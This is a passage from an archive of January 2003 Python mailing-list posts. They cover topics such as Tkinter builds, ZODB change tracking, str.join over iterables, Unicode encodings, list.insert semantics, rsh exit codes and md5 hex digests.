> Change the functions of list and mapping datatypes to set _p_changed
if
> the content was changed. This might decrease performance for
> nonpersistent application. But since there changes need to be
> implemented in the python core, they would be in C.
>
> thomas
>





From geek at cfl.rr.com  Sat Jan 11 17:11:35 2003
From: geek at cfl.rr.com (Steven Faulconer)
Date: Sat, 11 Jan 2003 22:11:35 GMT
Subject: Can't get Tkinter to work - Python 2.2 and RedHat 8
In-Reply-To: <3E1FAC06.9030709@email.com>
References: <3E1FAC06.9030709@email.com>
Message-ID: <rE0U9.112569$j8.2893204@twister.tampabay.rr.com>

R. C. Ellis wrote:
> Apparently RedHat 8 doesn't install the Tkinter libs, so I downloaded, 
> built and installed the latest 2.2 release.  I located lib-tk and put 
> that in a PYTHONPATH environment variable, but things like Idle and 
> "from Tkinter import *" can't find it.
> 
> I must be missing something, but I can't figure out what.
> 
> RC
> 

RC,

Not sure I can be of much assitance, but near the end of the compile of 
Python, it runs something like, 'python setup.py build' which from what 
I can tell, scans your system for various libraries and builds and 
additional modules that it finds, hence, if it finds TCL/TK libraries, 
it will build Tkinter. You might try running 'python setup.py build' by 
hand and see what it does when it gets to Tkinter, might give you a bit 
more information to go on. My problem has always been not finding the 
libraries or headers. Hope that helps somewhat.

Steven




From skip at pobox.com  Wed Jan 29 16:24:47 2003
From: skip at pobox.com (Skip Montanaro)
Date: Wed, 29 Jan 2003 15:24:47 -0600
Subject: portable method for getting system date & time?
In-Reply-To: <o_WZ9.138171$GF.34908845@twister.columbus.rr.com>
References: <o_WZ9.138171$GF.34908845@twister.columbus.rr.com>
Message-ID: <15928.18079.344176.79122@montanaro.dyndns.org>

    Sam> portable method for getting system date & time?

import time
help(time)

Skip






From andy at eastonwest.co.uk  Sun Jan 19 09:45:00 2003
From: andy at eastonwest.co.uk (andy)
Date: Sun, 19 Jan 2003 14:45:00 +0000
Subject: Newbe: password program
In-Reply-To: <fzjW9.2982$e34.1482@nwrddc04.gnilink.net>
References: <eDcW9.7243$V75.2394@nwrddc02.gnilink.net> <mailman.1042920994.3545.python-list@python.org> <fzjW9.2982$e34.1482@nwrddc04.gnilink.net>
Message-ID: <200301191445.00877.andy@eastonwest.co.uk>

pavs,

I've been using Python for about 2 years, and I don't feel I'v done more than 
scratch the surface yet!  I don't mean it's heavy-going, I just mean that 
there's such depth to it, and people are so actively using it in such 
interesting ways.  I wish I'd bothered to look up this mailing list long 
before, because there are so many sharp minds to learn from here (even if 
they don't always agree on *how* to do things, or even *why* !).  The best 
thing is that there *are* so many people willing to give guidance and 
opinions so freely.

As far as I know, you can interface just about any language to Python, but the 
'native' compiled language behind it all seems to be predominantly C/C++.

You can do assembly interfaces in C/C++ easilty, so by extrapolation, you can 
therefore extend Python with assembly.  Not sure if that is neccesarily a 
good idea, though (but I'm sure plenty of people will be willing to let you 
know their opinions!).

Reading material I've found useful (all online):
	Guido's Tutorial
		Once you get over the sort-of meandering style it's a good starting place.

	The Module Index Docs
		Lots of examples in there, enough to get you going most times.

	The Language Reference
		For when you want to know *why* and *how* some part of the language works.

	Google search
		Just tap in "python doobery" and you'll get loads of, mostly useful, refs.

	python.faqts - http://python.faqts.com
		Loads of stuff woth looking at

	zone.fbot - http://effbot.org/zone
		Loads more useful stuff.

Hope this is useful (maybe not today, but sometime soon!)

regards, 
-andyj

On Saturday 18 Jan 2003 9:21 pm, pavs wrote:
> Thanks Andy!
> While I haven't gone to the advanced chapters yet, I will save your
> suggestiosn so that I can use it later. I am gradually finishing an online
> python book, where I was asked to write this program as an example.
>
> With the minimum knowledge I had, I chalked it out. :)
>
> Anyways, I am planing to master Python in 4-5 months and than write a chess
> program (hopefully), while I enjoy the experience at the same time.
>
> After reading some online book, I will buy a serious Python book.
>
> By the way, is it possible to use Assembly in Python and connect Python
> program with a DOS program so that I can use it as a DOS (win32)
> executable?
>
> Thanks again for your help!
>
> Cheers,
> pavs





From matthias.oberlaender at REMOVE.daimlerchrysler.com  Mon Jan 13 03:20:23 2003
From: matthias.oberlaender at REMOVE.daimlerchrysler.com (Matthias Oberlaender)
Date: 13 Jan 2003 08:20:23 GMT
Subject: copy-on-write for dict objects?
Message-ID: <avtss7$ejg$1@news.sns-felb.debis.de>

Is there an easy way in Python 2.2.1 to add a copy-on-write mechanism to 
subclasses of dict, i.e. without extending/modifying the C-code 
implementation?  (I guess there is none!)

I don't want to resort to UserDict again, since, at least for my purposes, 
it's much slower than direct subclasses of dict (around 10x)

Thanks! 


--
 ____  __  _/_/ . 
( / / ( /  / / /  

=====================================================================
Matthias Oberlaender, DaimlerChrysler AG, Research Center Ulm
RIC/AP (Machine Perception)
Wilhelm-Runge-Str. 11,  P.O. Box 2360,  89013 Ulm, Germany
Phone: +49 731 505 2354       Fax: +49 731 505 4105
Email: matthias.oberlaender at REMOVE.daimlerchrysler.com
=====================================================================




From alloydflanagan at attbi.com  Thu Jan 16 10:33:46 2003
From: alloydflanagan at attbi.com (A. Lloyd Flanagan)
Date: 16 Jan 2003 07:33:46 -0800
Subject: Changing truth
References: <mailman.1042209749.31180.python-list@python.org> <3E2058FA.F676DCFC@engcorp.com> <SrZT9.121191$Hs2.11493220@kent.svc.tds.net> <v2111cf3gg193a@news.supernews.com> <HlGdnUonb9-FB72jXTWcoQ@comcast.com> <3E20A117.9020609@tismer.de> <mailman.1042326561.2537.python-list@python.org> <m28yxq9ljj.fsf@pchoel.1480-778.online.de> <mailman.1042653452.24211.python-list@python.org> <7h38yxmp6mp.fsf@pc150.maths.bris.ac.uk> <mailman.1042714955.32205.python-list@python.org>
Message-ID: <a8b7f07a.0301160733.42084307@posting.google.com>

Christian Tismer <tismer at tismer.com> wrote in message news:<mailman.1042714955.32205.python-list at python.org>...

> What I think is that None, False and True have the
> drawback that they are names, which can be changed.
> I would like to make them like literals.
> Nobody can try to write
> 

Actually I believe the intention is to eventually make them keywords
for that reason.  In Python 2.3a1 I get:
>>> None = 4
<stdin>:1: SyntaxWarning: assigment to None

I suspect they're planning to phase in the change to None to avoid
breaking old (bad) code, and I suspect a lot of code says something
like
True = 0
False = 1
so it may take a while to make them keywords.

By the way, am I the only one who noticed the spelling error in the
SyntaxWarning message above?  Somebody should fix that...



From bdesth at removethis.free.fr  Tue Jan 28 22:21:04 2003
From: bdesth at removethis.free.fr (laotseu)
Date: Tue, 28 Jan 2003 22:21:04 -0500
Subject: java introduction for pythonistas
References: <20030127112513.GA671@matijek>
Message-ID: <3E3748A0.50508@removethis.free.fr>

Alex Polite wrote:
> I've been working a few years with python. I'm  rather confident with
> basic OO design principles. Now some people that I consult for might
> be moving to Java. So I need to get up to speed with java. Are there
> any good documents out there for people with a python background
> coming to Java. 
> 
> I'm not so interested in syntactical questions (eg
> "this is how we construct a for loop in python and this is how we do it
> java") I'm more interested in OO design patterns that Java supports (I
> know that it supports interfaces for one thing) that are not readily
> available in python, 

Think you'd better look for design patterns that Python supports and 
that won't never be available in Java !-)

Laotseu




From gerrit at nl.linux.org  Tue Jan 21 10:17:51 2003
From: gerrit at nl.linux.org (Gerrit Holl)
Date: Tue, 21 Jan 2003 16:17:51 +0100
Subject: max() of a list of tuples
In-Reply-To: <3E2D2E46.6060104@mxm.dk>
References: <3e2d27c6$1_1@news.uni-bielefeld.de> <3E2D2E46.6060104@mxm.dk>
Message-ID: <20030121151751.GA2447@nl.linux.org>

Max M schreef op dinsdag 21 januari om 12:26:46 +0000:
> l = [(1,3,5), (8,16,2), (2,56,4)]

Yet Another possibility, Python 2.3 only:

max([i[::-1] for i in l])[::-1]

yours,
Gerrit.

-- 
Asperger Syndroom - een persoonlijke benadering:
	http://people.nl.linux.org/~gerrit/
Het zijn tijden om je zelf met politiek te bemoeien:
	http://www.sp.nl/




From tjreedy at udel.edu  Mon Jan 20 12:25:11 2003
From: tjreedy at udel.edu (Terry Reedy)
Date: Mon, 20 Jan 2003 12:25:11 -0500
Subject: Coding standard: Prefixing variables to indicate datatype
References: <0BuV9.11459$CG6.203654@news4.e.nsc.no> <pan.2003.01.17.09.34.53.724229@webone.com.au> <tlSdnV4T_spIoLWjXTWcqg@comcast.com> <3E28D273.13497D3E@alcyone.com> <b0cugo$97r$1@panix2.panix.com> <i7KdnckAi6lfkLejXTWcog@comcast.com> <Z2DW9.1203$Sv3.158990@newsread1.prod.itd.earthlink.net> <mailman.1043010041.6455.python-list@python.org> <b0g2od$nq9$1@wheel2.two14.net> <3E2BB957.2A2199CF@alcyone.com>
Message-ID: <E26dnQlJYuKfrbGjXTWcqA@comcast.com>

"Erik Max Francis" <max at alcyone.com> wrote in message
news:3E2BB957.2A2199CF at alcyone.com...
> Martin Maney wrote:
>
> > Jp Calderone <exarkun at intarweb.us> wrote:
> >
> > > ("a", "b", "c").join(" ") might make sense, but it would also
> > > involve
> > > writing a pile more code, and reducing the usefulness of the
> > > operation.
> >
> > How does that reduce the usefulness?  Seems to me that it would
allow
> > the restoration of the small conveninence of having a default
> > separator, as string.join() did.
>
> Setting aside for the moment this wasn't what the original poster
was
> talking about, the problem with a join method in every sequence is
just
> that:  It would have to be in _every_ sequence.  Not just lists,
tuples,
> (even strings) but user defined types as well.

And, as I pointed out before, but keeps getting ignored, dicts,
generators, iterators, and indeed *any* iteratable.  To repeat two of
my previous examples:

>>> from __future__ import generators
>>> def g():
...   for i in range(5): yield str(i)
...
>>> '.'.join(g())
'0.1.2.3.4'

>>> '.'.join({'a':1,'b':2})
'a.b'

The new (2.2) iterable concept is extremely powerful, more so than
some seem to realize.  Add a simple interface to an object, almost any
object, which does not have to be a sequence but merely seqeunceable,
and you can plug it into thousands of specific functions and methods.
But its usefulness depends on the iterator interface being kept very
simple: .__iter__() and .next().

 > Taking this approach to its logical conclusion, you rapidly get a
case
> of kitchensinkitis where _every_ sequence has to implement a huge
> plethora of methods, or nothing's guaranteed to work.  That's the
wrong
> way around.

Indeed!

> Besides, if you don't like the syntax of JOINER.join(SEQUENCE), you
can
> always just use the string.join(SEQUENCE, JOINER) function.

or, as I also showed before, str.join(joiner, sequence), which does
require a joiner, but saves an import and 3 chars as compensation.
Take your choice.

Terry J. Reedy





From brian at sweetapp.com  Fri Jan 24 02:20:14 2003
From: brian at sweetapp.com (Brian Quinlan)
Date: Thu, 23 Jan 2003 23:20:14 -0800
Subject: Is there really a default source encoding?
In-Reply-To: <m2iswfqkrd.fsf@mycroft.actrix.gen.nz>
Message-ID: <007e01c2c379$0a18c5d0$21795418@dell1700>

> > UTF-8 is certainly not "anglo-neutral". It is often 
> > prohibitively expensive to encode Japanese and 
> > Chinese text in UTF-8 (UTF-16 is much more popular).
> 
> When did "anglo" come to mean "Japanese and Chinese"?

I thought that the OP meant that it was not biased towards English. My
mistake.
 
> UTF-16 is a horrible hack to work around Unicode failings...i.e., 
> that it started out as a 16 bit system and ended up morphing into
> ISO-10646...which UTF-16 doesn't actually solve, anyway, besides 
> being more prohibitively expensive for non-CJK users than UTF-8 is 
> for them.

UTF-16 is a compromise encoding. It is equally crappy for almost
everyone. It is also a lot easier to process than UTF-8 for most CJK
applications e.g. it can often be processed as UCS-2. 

> [Why UTF-16, rather than UCS-2, though?  Is there something in the
> UTF-16 accessible-only-by-surrogate region that CJK users should care
> about?]

Some of the new Japanese characters (i.e. dentistry symbols) are only
available through surrogates.

> Is there such a thing as UTF-32?  You mean UCS-4?
> And you said UTF-8 was "prohibitively expensive" ???

No, UTF-32 exists. For Japanese, UTF-8 requires (at minimum) 50% more
space per character than UTF-8. I was being facetious with my UTF-32
comment. But UTF-32 may become more efficient than UTF-16, for some
languages (e.g. Sancrit), in the future.

> >> Great. Only are you sure that BOMs are such a great idea?
> 
> It's an immensely stupid idea in a byte-oriented encoding like UTF-8.
> [Though it's pretty dumb in "wide" encodings, too]

I don't understand. In UTF-8, the BOM allows you to easily distinguish
between documents with UTF-8 encoding and a locale dependant
byte-encoding. For multibyte encodings (e.g. UTF-16) it is impossible to
determine the encoding without knowing the byte order. Do you have some
other solution with a feasible implementation?

> > I don't really care about how screwed-up Unix Unicode handling is.
> 
> What's "screwed up" about it?

Do you read the OP's link?

Cheers,
Brian





From cben at techunix.technion.ac.il  Thu Jan 16 07:46:06 2003
From: cben at techunix.technion.ac.il (Beni Cherniavsky)
Date: Thu, 16 Jan 2003 14:46:06 +0200
Subject: invoking multiple methods (Was: Python vs. Ruby)
In-Reply-To: <avn1qa$gv6$0@216.39.172.122>
References: <001501c2b1e4$dac88770$21795418@dell1700>
 <mailman.1041520444.17527.python-list@python.org> <7W%S9.13908$t06.405476@news2.east.cox.net>
 <3E1CD82B.3E67E420@alcyone.com> <x7heciuxhp.fsf_-_@guru.mired.org>
 <avkv6i$38k$0@216.39.172.122> <x77kddt3pl.fsf@guru.mired.org>
 <avn1qa$gv6$0@216.39.172.122>
Message-ID: <Pine.GSO.4.44_heb2.09.0301161439180.925-100000@techunix.technion.ac.il>

On 2003-01-10, Bengt Richter wrote:

> But your idea is growing on me. If you take the sequence to be args of a kind
> of repeating text macro, whereobj.(xxx,yyy,zzz) => obj.xxx; obj.yyy; obj.zzz
> you would have a kind of "with" e.g.,
>
>   obj.(
>       a=123,
>       foo(),
>       x
>   )
> =>
>   obj.a=123
>   obj.foo()
>   obj.x
>
> Don't take too seriously ;-)
>
The DUEL extension to gdb (google for it) had lot's of cool typing-saving
features and one of my favourite things was the treatement of the dot
operator: it executed the right part with the fields of the left part
brought into scope (i.e. exactly what you propose, except that in Python
it suffers from scoping problems).  DUEL is recommended reading, got me
interested in Icon (which I couldn't understand so I started designing my
own language based on these ideas :-)...

-- 
Beni Cherniavsky <cben at tx.technion.ac.il>

There is an Excel spreadsheet here.  Do you want to open it? y
There was a grid bug in the spreadsheet.  The grid bug bites.




From phr-n2002b at NOSPAMnightsong.com  Thu Jan  2 09:58:20 2003
From: phr-n2002b at NOSPAMnightsong.com (Paul Rubin)
Date: 02 Jan 2003 06:58:20 -0800
Subject: Simple encryption proposal. Comments ?
References: <BOMP9.5093$CG6.90311@news4.e.nsc.no> <mailman.1041211955.22409.python-list@python.org> <aZYP9.5185$CG6.93090@news4.e.nsc.no> <7xptrj8rr5.fsf@ruckus.brouhaha.com> <aurvdu$sqe$0@216.39.172.122> <8a6ba1da.0301020356.7916bc80@posting.google.com> <7xbs2zrbdf.fsf@ruckus.brouhaha.com> <av1g67$b3l$0@216.39.172.122>
Message-ID: <7xlm23a99v.fsf@ruckus.brouhaha.com>

bokr at oz.net (Bengt Richter) writes:
> Thanks for posting, mine was in C++ and not so pretty (though fast enough ;-)
> 
> BTW, (untested)
> 
>     k1, k2, k3 = map(_inv_letters.__getitem__, x[i:i+3])
> 
> might be an interesting alternative to the list comprehension?

I don't know, I wasn't really trying to make that function fast, I was
just playing around.  Base52 is a clever idea (I've gotten burned a
number of times by non-alphanumeric base64 characters needing escaping
for some purpose) so I wanted to try it.  A more serious
implementation should be done as a C patch to the binascii module.

I also sometimes use base 32 (5 bits per output character) which is
just monocase letters plus digits.  The letters O and S, and the
digits 0 and 5, are omitted, since they're hard to tell apart from
each other in handwriting.



From max at alcyone.com  Thu Jan 23 19:23:46 2003
From: max at alcyone.com (Erik Max Francis)
Date: Thu, 23 Jan 2003 16:23:46 -0800
Subject: (test?return_true:return_false)
References: <1d4cf4c3.0301230735.489c525f@posting.google.com>
Message-ID: <3E308792.CC152591@alcyone.com>

Daniel wrote:

> Is there a python equivalent to the (test?return_true:return_false)
> function?

No.  There are a variety of progressively uglier ways of simulating it
in Python, but the functionality does not exist.  See the FAQ, or search
Google Groups for "conditional expression" for extensive discussion of
the topic (another thread on the subject is still in progress in this
very newsgroup at the moment, even).

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ An undevout astronomer is mad.
\__/ Edward Young
    Bosskey.net: Quake III Arena / http://www.bosskey.net/q3a/
 A personal guide to Quake III Arena.



From just at xs4all.nl  Mon Jan 13 17:58:27 2003
From: just at xs4all.nl (Just)
Date: Mon, 13 Jan 2003 23:58:27 +0100
Subject: Seeking Minimal Python Project Name
References: <mailman.1042456912.31274.python-list@python.org> <dnbvva.st3.ln@beastie.ix.netcom.com>
Message-ID: <just-ED20AC.23582713012003@news1.news.xs4all.nl>

In article <dnbvva.st3.ln at beastie.ix.netcom.com>,
 Dennis Lee Bieber <wlfraed at ix.netcom.com> wrote:

> Kow K fed this fish to the penguins on Monday 13 January 2003 03:21 am:
> 
> 
> > Phyton                (simple mutation)
> >
>         Dangerous -- I've seen way too many occurences of that spelling 
> already, just by folks referring to the regular Python.

Let alone that it yields 22000 google hits ;-)

Pyhton yields 2710, Ptyhon 435, Pytohn only 58.

I would actually like "PPython" for this project (forgot who suggested 
that), as in CPython and JPython.

Just



From a.clarke11 at ntlworld.com  Thu Jan  2 09:26:13 2003
From: a.clarke11 at ntlworld.com (Tony Clarke)
Date: 2 Jan 2003 06:26:13 -0800
Subject: compare types?
References: <20021231000325.15f925c6.Ken@perfect-image.com>	<001301c2b09c$c51bb7b0$21795418@dell1700> <mailman.1041320765.10859.python-list@python.org> <3353cd1e.0301010810.13521eb3@posting.google.com> <TY6dnU4DIus4uo6jXTWc3Q@comcast.com>
Message-ID: <3353cd1e.0301020626.1da74185@posting.google.com>

Thanks, 
I did, and it didn't work. It appears that lists in 2.1 don't conform
to that procedure, not having grown up yet into classes. 2.2 and later
will solve it I'm told, so I'll download 2.3 when it becomes
available.
Thanks again

Tony


"Terry Reedy" <tjreedy at udel.edu> wrote in message news:<
> 
> For questions like this, fire up the interactive interpreter (or keep
> one on your task bar) and try it out.  Quicker than posting.  The
> possibility of doing this so easily is one of Python's great features!
> 
> Terry J. Reedy



From cnetzer at mail.arc.nasa.gov  Wed Jan 22 17:11:42 2003
From: cnetzer at mail.arc.nasa.gov (Chad Netzer)
Date: Wed, 22 Jan 2003 14:11:42 -0800
Subject: Real inner-product in python
In-Reply-To: <3E2E6925.8010905@VisionSense.com>
References: <3E2A4C06.7030202@visionsense.com> <200301220346.TAA06834@mail.arc.nasa.gov> <3E2E6925.8010905@VisionSense.com>
Message-ID: <200301222211.OAA08918@mail.arc.nasa.gov>

On Wednesday 22 January 2003 01:49, Nadav Horesh wrote:
> Whats about:
>  >>> c = N.reshape(N.arange(12), (3,2,2))
>  >>> b = N.arange(3)
>  >>> N.dot(b,c)
>
> Traceback (most recent call last):
>   File "<pyshell#18>", line 1, in ?
>     N.dot(b,c)
>   File "/usr/local/lib/python2.3/site-packages/Numeric/Numeric.py",
> line 335, in dot
>     return multiarray.matrixproduct(a, b)
> ValueError: matrices are not aligned

[snip]

> As I see inner product between two tensors --- A of rank $n$ and B of
> rank $m$ it should be like
> (in TeX style):
> $$
>   C = A \cdot B
> $$
> requires:
>
> 1.  The last dimension of A must be equal to the first dimension of
> B, and ...
> 2.
> $$
>   C_{p_1, ... p_{m-1},q_2, ... q_n} = \sum_{i=1}^{q_1} A_{p_1, ...
> p_{m-1},i} B_{i, q_2, ... q_{n}}
> $$
>
> Thus, I don't see the *dot* function as a proper inner product.

Well, in my response I almost discussed tensors, but hedged, since I'm 
not all that comfortable with thinking about them (haven't had to 
discipline myself with figuring out all the indexing yet).

But, you may be able to fake it with careful use of transpose(), if I 
understand your meaning...

Continuing your example:
>>> c
[[[ 0, 1,]
  [ 2, 3,]]
 [[ 4, 5,]
  [ 6, 7,]]
 [[ 8, 9,]
  [10,11,]]]

>>> d = N.transpose(c)

>>> d
[[[ 0, 4, 8,]
  [ 2, 6,10,]]
 [[ 1, 5, 9,]
  [ 3, 7,11,]]]

>>> d.shape
(2, 2, 3)

>>> b.shape
(3,)

>>> N.dot(d,b)
[[20,26,]
 [ 8,12,]]

>>> N.transpose(N.dot(d,b))
[[20, 8,]
 [26,12,]]

Other than that, the only thing I can think of is to look at 
ScientificPython, which purports to do Tensor operations.

http://starship.python.net/~hinsen/ScientificPython/

Also, you could check out SciPy (CVS) which wraps the BLAS/LAPACK 
libraries, and Yorick, which may also do various tensor math functions. 

-- 
Bay Area Python Interest Group - http://www.baypiggies.net/

Chad Netzer





From geoff at gerrietts.net  Thu Jan 30 19:35:39 2003
From: geoff at gerrietts.net (Geoff Gerrietts)
Date: Thu, 30 Jan 2003 16:35:39 -0800
Subject: converting data to hex
In-Reply-To: <7xu1fqupw6.fsf@ruckus.brouhaha.com>
References: <Q0j_9.1511$Ir1.259@newssvr16.news.prodigy.com> <7xu1fqupw6.fsf@ruckus.brouhaha.com>
Message-ID: <20030131003539.GE18449@isis.gerrietts.net>

Quoting Paul Rubin (phr-n2003b at NOSPAMnightsong.com):
> Mark Harrison <mh at pixar.com> writes:
> > I've got an md5 digest and would like to print it as
> > a hex value, but I can't get the individual hex value
> > formatted.  Can someone loan me a clue?
> > 
> > import md5
> > d = md5.new("foo")
> > for x in d.digest():
> >     print "a", ("%02x" % x)  ## how do I convert x to int???
> 
> If you want hex, just say 
> 
>     d = md5.new("foo")
>     print d.hexdigest()

Paul's right, as long as you're not stuck on 1.5.2 (or wanting to be
compatible with it).

-- 
Geoff Gerrietts             <geoff at gerrietts dot net>
  I AM YOUR KING! BOW BEFORE ME, PEASANT!   -- Dogbert




From raims at dot.com  Tue Jan 28 11:52:06 2003
From: raims at dot.com (Rhymes)
Date: Tue, 28 Jan 2003 17:52:06 +0100
Subject: Update:KOBRA - .NET for Python
References: <6_XY9.47838$4y2.1983@sccrnsc04> <mailman.1043682230.10653.python-list@python.org> <pan.2003.01.28.00.31.22.615165@dot.com> <mailman.1043763594.24989.python-list@python.org>
Message-ID: <pan.2003.01.28.16.52.05.392536@dot.com>

Il Mon, 27 Jan 2003 23:29:51 -0500, Jeff Kowalczyk ha scritto:

> Right, I was aware of Mark's white paper on the subject,
> and its conclusion that any generally usable Python.NET
> would be a long way off. Chetan's library seems to strike a good
> balance between keeping python pythonic still having transparent access to the
> powerful classes in the .NET framework.

I think that the right question would be: do python has to embrace .NET
platform (this involves a Python.NET project, like Hammond's) or to walk
along the borders of .NET (and this involves KOBRA project, i think) ?

Thinking as a "pure pythonista" show me that the right question is the
latter but the earlier is in Redmond's marketing dept. hands ;-)

-- 
Rhymes
rhymes at NOSPAMmyself.com





From clifford.wells at attbi.com  Thu Jan 30 00:56:47 2003
From: clifford.wells at attbi.com (Cliff Wells)
Date: 29 Jan 2003 21:56:47 -0800
Subject: else in list comp
In-Reply-To: <3E388771.906@privacy.net>
References: <mailman.1043813212.6357.python-list@python.org>
	 <3E388771.906@privacy.net>
Message-ID: <1043906207.4926.1487.camel@x1-6-00-04-5a-64-c4-03>

On Wed, 2003-01-29 at 18:01, Greg Ewing (using news.cis.dfn.de) wrote:
> Cliff Wells wrote:
> 
> > What I thought of first:
> > 
> > ['' for i in l if i is None else i]
> > 
> > Any thoughts on something like this?
> 
> 
> I don't think you've thought this through properly. Consider
> that a list comp can have multiple if and/or for clauses
> interspersed. How would your proposed feature work in the
> general case?

In a very unreadable fashion?

> Also, you need to understand that an if clause in a list
> comp decides *whether* to include an item in the list;
> it doesn't decide *what* to include in the list. Given
> that, I can't see that attaching an else clause to it
> makes any sense.

Okay.

-- 
Cliff Wells <clifford.wells at attbi.com>





From hancock at anansispaceworks.com  Sun Jan  5 04:03:50 2003
From: hancock at anansispaceworks.com (Terry Hancock)
Date: Sun, 5 Jan 2003 01:03:50 -0800
Subject: Explicit Frustration of the Self
In-Reply-To: <20030105060802.11425.53433.Mailman@mail.python.org>
References: <20030105060802.11425.53433.Mailman@mail.python.org>
Message-ID: <E18V6iA-0004Xt-00@conure.mail.pas.earthlink.net>

On Saturday 04 January 2003 10:08 pm,  Courageous wrote:
> >This whole business with the self; it is not elegant.
> 
> This is an entirely subjective matter, elegance. Take
> the penchant of many windows programmers using C++ who
> put m_ before all their member variables. This is really
> just the programmer working around ambiguity. In my mind,
> *that* is inelegant.
> 
> In python 'm_' is spelled 'self'.

But actually, you can* spell it anyway you like, e.g.:

class ham:
    def __init__(self):
        self.spam = 'Spam, spam, ... wonderful spam!'

class ham:
    def __init__(this):
        this.spam = 'Still yummy, but C-ish'

class ham:
    def __init__(m_):
        m_.spam = 'Just following your lead.'

class ham:
    def __init__(my):
        my.spam = 'Ouch, I broke my tooth on a perl!'

class ham:
    def __init__(_):
         _.spam = 'Nearly invisible.'

class ham:
    def __init__(object_specific_variable):
        object_specific_variable.spam = 'This is just silly' 

>>> ham = ham()
>>> ham.spam
'This is just silly'

It doesn't seem necessary to alter the language to do this,
especially since it would tick-off a lot of existing developers.

Cheers,
Terry

*Okay, maybe I _shouldn't_ have mentioned this, because frankly, if
you do this to _me_, I'm going to have to bludgeon you with a rubber
chicken.

--
Terry Hancock ( hancock at anansispaceworks.com )
Anansi Spaceworks  http://www.anansispaceworks.com

"Some things are too important to be taken seriously"




From skip at pobox.com  Tue Jan  7 23:20:04 2003
From: skip at pobox.com (Skip Montanaro)
Date: Tue, 7 Jan 2003 22:20:04 -0600
Subject: best college for computer science major
In-Reply-To: <3e1ba232_6@nopics.sjc>
References: <3e1ba232_6@nopics.sjc>
Message-ID: <15899.42740.967574.296895@montanaro.dyndns.org>

    >> what are the best colleges for those wanting to major in computer
    >> science

Apparently none that Laura Creighton has visited recently. ;-)

I'm sure there are many excellent CS departments.  I imagine it largely
depends on what you're interested in.  Computer Science is like any other
discipline.  There are lots of subdisciplines and most departments tend to
emphasize a limited number of subdisciplines.

-- 
Skip Montanaro
skip at pobox.com





From migmog99 at hotmail.com  Thu Jan 30 06:09:24 2003
From: migmog99 at hotmail.com (Andrew)
Date: 30 Jan 2003 03:09:24 -0800
Subject: Getting return value in os.system rsh call
References: <48633651.0301291033.6f6afeb6@posting.google.com> <3E389466.8789FA1A@alcyone.com>
Message-ID: <48633651.0301300309.30fa4b3b@posting.google.com>

Chaps - Thanks for your help, but unfortunately it's still not doing
what I want! This seems to be more a problem with rsh than with
python.

I've simplified the problem as much as possible, and when I try the
following from a command prompt, I get this result. This is cut &
pasted straight off my terminal, with only the host names changes to
protect the innocent..

BTW: Anyone know how to avoid the 'stty standard input: Invalid
argument' messages?

I wrote a very simple python program which simply outputs what host
it's running on and returns an unmistakeable return value:

10:49:01$ cat bad.py
#!/usr/bin/env python
import os, sys
os.system("hostname")
sys.exit(123)

When I run it locally, it does what you'd expect:

10:49:04$ ./bad.py; echo $?
local
123

But when I run it remotely I get this odd result:

10:49:09$ rsh -n remote "./bad.py; echo $?"
stty: standard input: Invalid argument
stty: standard input: Invalid argument
remote
0

Double checking that the 'echo $?' is coming from the remote host:

10:49:32$ rsh -n remote "./bad.py; echo $?; hostname"
stty: standard input: Invalid argument
stty: standard input: Invalid argument
remote
0
remote

Maybe there's something odd with the machine 'remote' - try rsh'ing to
ourself... no difference

10:49:44$ rsh -n local "./bad.py; echo $?; hostname"
stty: standard input: Invalid argument
stty: standard input: Invalid argument
local
0
local



From tjreedy at udel.edu  Thu Jan  9 10:51:21 2003
From: tjreedy at udel.edu (Terry Reedy)
Date: Thu, 9 Jan 2003 10:51:21 -0500
Subject: ZODB: don't like self._p_changed
References: <avjfop$tmb$00$1@news.t-online.com> <3E1D4756.7040406@mxm.dk> <avjj10$oe7$03$1@news.t-online.com> <DVdT9.32468$Hl6.3351656@news010.worldonline.dk> <avjrhb$heh$04$1@news.t-online.com>
Message-ID: <a3SdncmeD8BfBoCjXTWc3Q@comcast.com>

"Thomas Guettler" <zopestoller at thomas-guettler.de> wrote in message
news:avjrhb$heh$04$1 at news.t-online.com...
> 2. Solution:
> Change the functions of list and mapping datatypes to set _p_changed
if
> the content was changed. This might decrease performance for
> nonpersistent application. But since there changes need to be
> implemented in the python core, they would be in C.

Lists and dicts are general purpose types.  The flag self._p_changed
(you left off the crucial 'self' part above) is specific to ZODB and
usually does not exist.  Even when it does, standard append does not
know what 'self' is in the context in which it is called, and could
not change it anyway.  So, for special purpose behavior, you must do
something special: set the flag yourself, use a special (derived)
type, or write a special method for your class such as

    def append(self, val):
        self.mylist.append(val)
        self._p_changed = 1

Terry J. Reedy





From bkelley at wi.mit.edu  Wed Jan  8 16:33:50 2003
From: bkelley at wi.mit.edu (Brian Kelley)
Date: Wed, 08 Jan 2003 16:33:50 -0500
Subject: list.insert question
Message-ID: <3E1C993E.5010402@wi.mit.edu>

So I was playing with list.insert and expected

l=[1,2,3,4]
l.insert(-2, 5)

to become
l = [1,2,3,5,4]

This is mainly because the slice "wraps" (nicely) around to the end of 
the list.

I checked the manaul and indeed:

http://python.org/doc/current/lib/typesseq-mutable.html#l2h-153

(4) When a negative index is passed as the first parameter to the 
insert() method, the new element is prepended to the sequence.

I was wondering why this was the case.  Is there really a dichotomy 
between slices and inserts?  Is this something that will trip up a 
novice or is this geared toward 
messing-up-people-like-me-expecting-too-muchly-yours?

Brian.





From mwm at mired.org  Mon Jan 27 09:24:00 2003
From: mwm at mired.org (Mike Meyer)
Date: Mon, 27 Jan 2003 14:24:00 -0000
Subject: Dr. Dobb's Python-URL! - weekly Python news and links (Jan 27)
Message-ID: <v3ag80933gle4b@corp.supernews.com>

QOTW:  "I'm enjoying seeing python come out above perl and javascript."
	Aaron K. Johnson

"It is a cardinal sin of GUI scalability to incorporate the state and
services of the software wholly in the user interface.  You will go mad
from it eventually."  Chad Netzer
    http://groups.google.com/groups?selm=mailman.1042242859.24172.python-list%40python.org


Discussion:
    Counting unique posters to usenet, including the script for doing
    the count.
        http://groups.google.com/groups?selm=b0v3dq%24bl4%241 at bob.news.rcn.net
        http://groups.google.com/groups?selm=b0v3n7%24cgs%241 at bob.news.rcn.net
    
    A discussion of the different Python packages for web develoment.
        http://groups.google.com/groups?selm=j9bo2v0lo0qfngcfpqc3ooj0bo881lhuuh at 4ax.com
    
    How to find the element in a list of tuples with the greatest element
    in some position.
